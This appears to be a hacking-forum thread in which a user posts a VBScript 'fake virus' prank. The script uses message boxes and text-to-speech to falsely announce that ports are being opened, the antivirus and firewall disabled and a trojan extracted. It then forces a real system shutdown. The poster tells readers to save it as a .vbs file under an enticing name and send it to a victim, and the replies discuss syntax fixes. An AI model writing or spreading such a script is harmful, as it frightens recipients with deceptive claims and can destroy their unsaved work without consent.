[Shadwow]

<table cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td colSpan=2>open notepad and write:

msgbox "HA HA HA YOU'RE INFECTED HA HA HA"
Set kader = WScript.CreateObject("SAPI.SpVoice" )
kader.Speak "computer infected"
msgbox"I will open your first 10 ports...then I will disable your firewall "
msgbox"Okay, you're busted!!!"
kader.Speak "1, 2, 3"
kader.Speak "opening port number 1 "
kader.Speak "opening port number 2"
kader.Speak "opening port number 3"
kader.Speak "opening port number 4"
kader.Speak "opening port number 5"
kader.Speak "opening port number 6"
kader.Speak "opening port number 7"
kader.Speak "opening port number 8"
kader.Speak "opening port number 9"
kader.Speak "opening port number 10"
kader.Speak "all 10 sistem ports are opened"
msgbox"In this moment you have the first best ports opened"
msgbox "Now I'l turn off your PC protection"
kader.Speak "starting proces"
kader.speak " "
kader.Speak "disabling antivirus"
kader.speak " "
kader.Speak "loading"
kader.speak " "
kader.speak " "
kader.speak "antivirus disabled"
kader.speak " "
kader.Speak "disabling firewall"
kader.speak " "
kader.Speak "loading"
kader.speak " "
kader.speak "firewall disabled"
kader.speak "operation completed"
msgbox" Start infection of host compounds"
kader.Speak "Extracting viruses"
kader.Speak "extracting Trad3r.trojan"
kader.Speak " "
kader.Speak "loading"
kader.Speak "Trad3r.trojan has been succesfull extracted"
msgbox" =))=))=))!!! "
kader.Speak "anyway your personal computer will be functionable only 10 more seconds"
kader.Speak "say bye to your pc"
kader.Speak "10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0"
kader.Speak "shutdown and saving infected"
kader.Speak "You can throw your pc !! "
Dim wshshell
set wshshell = wscript.Createobject("WScript.Shell" )
wshshell.run "shutdown -s -t 90 -c Sorry the virus was instaledl!!!"

After you did this save'it whit extention .vbs !

Put an interesting name and send it to your victim !!
Enjoy !

[FunKx]

First, there are mistakes on the line 4, 5, 18 and 19
The error is the commas (,,) at the end of the line.

And second, I allmost peed my pants when it executed command prompt at the end xD
I don't know why, cuz I don't see a command like that...

[Shadwow]

ohh
I see
sry I will correct the mistakes
after I will get some sleep because I'm very tired

[Coder-san]

Nice. VBscript is cool.
Moving to Batch and Shell scripting.